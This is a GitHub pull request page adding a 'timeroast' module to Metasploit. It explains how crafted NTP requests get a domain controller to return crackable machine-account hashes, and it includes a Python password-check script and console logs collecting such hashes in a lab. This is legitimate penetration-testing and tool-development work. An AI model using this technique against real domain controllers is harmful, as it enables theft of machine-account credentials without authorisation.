Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Add the timeroast module #19748

Merged
merged 9 commits into from
Dec 19, 2024
Merged

Conversation

zeroSteiner
Copy link
Contributor

@zeroSteiner zeroSteiner commented Dec 18, 2024

This adds a module for timeroasting. Timeroasting is a technique where the RID of a computer account is used in a crafted NTP frame that when received by a Domain Controller will prompt the DC to respond with a NTP frame containing a cryptographic hash. This cryptographic hash is md5( NT_Hash + Response[:48]) where NT_Hash is the NT hash of the machine account (md4(password.encode('UTF-16LE'))) whose RID was targeted. The NTP response can then be crashed offline by john the ripper or hashcat to obtain the plaintext value of the machine account.

Closes #19686

Timeroast Quick Check

The following script can be used to validate a single password against a hash in lieu of compiling and messing with the options of john the ripper. It also demonstrates in more detail how the password is calculated.

import binascii
import hashlib
import re
import sys

def main():
	password = sys.argv[2]
	if (match := re.match(r'(?P<rid>\d+:)?\$sntp-ms\$(?P<md5>[a-f0-9]{32})\$(?P<salt>[a-f0-9]{96})', sys.argv[1], flags=re.I)) is None:
		print('[-] improperly formatted hash')
		return
	md5_digest = binascii.a2b_hex(match.group('md5'))
	salt = binascii.a2b_hex(match.group('salt'))

	if hashlib.new('md5', hashlib.new('md4', password.encode('utf-16le')).digest() + salt).digest() == md5_digest:
		print('[+] password is correct: ' + password)
	else:
		print('[-] password is wrong')

if __name__ == '__main__':
	main()

Example usage:

python timeroast_check.py '4205:$sntp-ms$8e514a514817d6b1546572d36fdc6a0d$1c0100e900000000000a001a4c4f434ceb0da060f0c3d3ff0000000000000000eb0da08484bb78e7eb0da08484bbb54d' 2jxhpKnsTf5AmBRT
[+] password is correct: 2jxhpKnsTf5AmBRT

New OptIntRange Datastore Option

This adds a new OptIntRange datastore option that can be used to specify a mixture of natural numbers (e.g. 1234) and natural number ranges (e.g. 12-34). Multiple members can be specified using a comma separator. Due to the - character being used for ranges, it is not possible to specify negative numbers. This should be useful in the future for things like port ranges. In the case of things like ports, a maximum value can be specified with the maximum keyword. A port range would simply set this to 0xffff. In this case, the Microsoft docs note that the max RID depends on the version of the domain, so there isn't a maximum in use.

In BNF notation, the syntax is as follows:

<input>          ::= <term> ("," <term>)*
<term>           ::= <range> | <excludedRange>
<range>          ::= <number> | <number> "-" <number>
<excludedRange>  ::= "!" <range>
<number>         ::= <digit>+
<digit>          ::= "0" | "1" | "2" | "3" | "4" | "5" | "6" | "7" | "8" | "9"

Tests have been included for this new option type.

Verification

  • Setup a Windows domain controller target
  • Start msfconsole
  • Use the auxiliary/admin/dcerpc/samr_account module to create a new computer account with the ADD_COMPUTER action
    • Note the RID (the last part of the SID) and password of the new account
  • Use the auxiliary/scanner/ntp/timeroast module
  • Set the RHOSTS option to the target domain controller
  • Set the RIDS option to the RID of the new account
  • Run the module and see that a hash is collected, this has will show up in the output of the creds command if a
    database is connected

Demo

metasploit-framework (S:0 J:0) auxiliary(scanner/ntp/timeroast) > run
[*] Checking RID: 4200
[*] Checking RID: 4201
[+] Hash for RID: 4201 - 4201:$sntp-ms$6f41dbf7e6e1291ffc96d4a66d17dcf8$1c0100e900000000000a001a4c4f434ceb0da060ed155fe30000000000000000eb0da083712db397eb0da083712e0927
[*] Checking RID: 4202
[+] Hash for RID: 4202 - 4202:$sntp-ms$467ea45793ab0d58f8c9bffaca07913a$1c0100e900000000000a001a4c4f434ceb0da060f09750e90000000000000000eb0da083d88684e9eb0da083d88716e0
[*] Checking RID: 4203
[*] Checking RID: 4204
[+] Hash for RID: 4204 - 4204:$sntp-ms$717255a26726481a54eeae70ff5b7939$1c0100e900000000000a001a4c4f434ceb0da060f0cf03de0000000000000000eb0da08448df38e0eb0da08448df7da9
[*] Checking RID: 4205
[+] Hash for RID: 4205 - 4205:$sntp-ms$8e514a514817d6b1546572d36fdc6a0d$1c0100e900000000000a001a4c4f434ceb0da060f0c3d3ff0000000000000000eb0da08484bb78e7eb0da08484bbb54d
[*] Waiting on 2 pending responses...
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
metasploit-framework (S:0 J:0) auxiliary(scanner/ntp/timeroast) >

Comment on lines +49 to +50
errors['DELAY'] = 'DELAY can not be negative.' if datastore['DELAY'].to_i < 0
errors['TIMEOUT'] = 'TIMEOUT can not be negative.' if datastore['TIMEOUT'].to_i < 0
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

It might make sense to add an OptPositiveInt datatore option at some point I think

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I like the idea but IMHO, it'd be better implemented with minimum and maximum arguments to OptInt that would be used in the #valid? method.

Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

It also works. My main concern was to avoid modules implementing the same boilerplate as you did :)

@smcintyre-r7 smcintyre-r7 added module docs rn-modules release notes for new or majorly enhanced modules labels Dec 18, 2024
@zeroSteiner zeroSteiner mentioned this pull request Dec 19, 2024
6 tasks
@bwatters-r7 bwatters-r7 self-assigned this Dec 19, 2024
@bwatters-r7
Copy link
Contributor

msf6 auxiliary(admin/dcerpc/samr_account) > set smbdomain EXAMPLE
smbdomain => EXAMPLE
msf6 auxiliary(admin/dcerpc/samr_account) > set smbuser Administrator
smbuser => Administrator
msf6 auxiliary(admin/dcerpc/samr_account) > set smbpass v3Mpassword
smbpass => v3Mpassword
msf6 auxiliary(admin/dcerpc/samr_account) > set RHOST 10.5.132.105
RHOST => 10.5.132.105
msf6 auxiliary(admin/dcerpc/samr_account) > add_computer
[*] Running module against 10.5.132.105
[*] 10.5.132.105:445 - Adding computer
[+] 10.5.132.105:445 - Successfully created EXAMPLE\DESKTOP-RPGJVGYZ$
[+] 10.5.132.105:445 -   Password: bKfpJzAwpN7iTZPaJjtHvBiBxnNcenWQ
[+] 10.5.132.105:445 -   SID:      S-1-5-21-1474532732-3680680862-3046778293-1104
[*] Auxiliary module execution completed
msf6 auxiliary(admin/dcerpc/samr_account) > use auxiliary/scanner/ntp/timeroast 
msf6 auxiliary(scanner/ntp/timeroast) > set rhosts 10.5.132.105
rhosts => 10.5.132.105
msf6 auxiliary(scanner/ntp/timeroast) > show options

Module options (auxiliary/scanner/ntp/timeroast):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   DELAY    20               yes       The delay in milliseconds between attempts.
   RHOSTS   10.5.132.105     yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metas
                                       ploit.html
   RIDS                      yes       The RIDs to enumerate (e.g. 1000-2000).
   RPORT                     yes       The target port (UDP)
   THREADS  1                yes       The number of concurrent threads (max one per host)
   TIMEOUT  5                yes       The timeout in seconds to wait at the end for replies.


View the full module info with the info, or info -d command.

msf6 auxiliary(scanner/ntp/timeroast) > set RIDS 1100-1110
RIDS => 1100-1110
msf6 auxiliary(scanner/ntp/timeroast) > set rport 123
rport => 123
msf6 auxiliary(scanner/ntp/timeroast) > run
[+] Hash for RID: 1104 - 1104:$sntp-ms$273e686029a687cc5e815b308fb7db95$1c0100e9000000090000029b564d5450eb0f1682a8052bb80000000000000000eb0f169243ec6441eb0f169243ecb4c9
[*] Waiting on 10 pending responses...
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf6 auxiliary(scanner/ntp/timeroast) > 

@bwatters-r7
Copy link
Contributor

FYI, Server 2025 is fine with NTPv3
image

@bwatters-r7
Copy link
Contributor

msf6 > use scanner/ntp/timeroast
msf6 auxiliary(scanner/ntp/timeroast) > show options

Module options (auxiliary/scanner/ntp/timeroast):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   DELAY    20               yes       The delay in milliseconds between attempts.
   RHOSTS                    yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metas
                                       ploit.html
   RIDS                      yes       The RIDs to enumerate (e.g. 1000-2000).
   RPORT    123              yes       The target port (UDP)
   THREADS  1                yes       The number of concurrent threads (max one per host)
   TIMEOUT  5                yes       The timeout in seconds to wait at the end for replies.


View the full module info with the info, or info -d command.

msf6 auxiliary(scanner/ntp/timeroast) > set RIDS 1100-1110
RIDS => 1100-1110
msf6 auxiliary(scanner/ntp/timeroast) > set rhosts 10.5.132.105
rhosts => 10.5.132.105
msf6 auxiliary(scanner/ntp/timeroast) > run
[+] Hash for RID: 1104 - 1104:$sntp-ms$12562659ddebc073bb6f317e43a30e04$1c0100e90000001900000294564d5450eb0f2142d69b8b0b0000000000000000eb0f2149528297f5eb0f214952831e2d
[*] Waiting on 10 pending responses...
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf6 auxiliary(scanner/ntp/timeroast) > 

@bwatters-r7 bwatters-r7 merged commit 51bbc76 into rapid7:master Dec 19, 2024
68 checks passed
@bwatters-r7
Copy link
Contributor

Release Notes

Adds a module for timeroasting, a technique where the RID of a computer account is used in a crafted NTP frame that when received by a Domain Controller will prompt the DC to respond with a NTP frame containing a cryptographic hash.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
docs module rn-modules release notes for new or majorly enhanced modules
Projects
None yet
Development

Successfully merging this pull request may close these issues.

Add module for time roasting
4 participants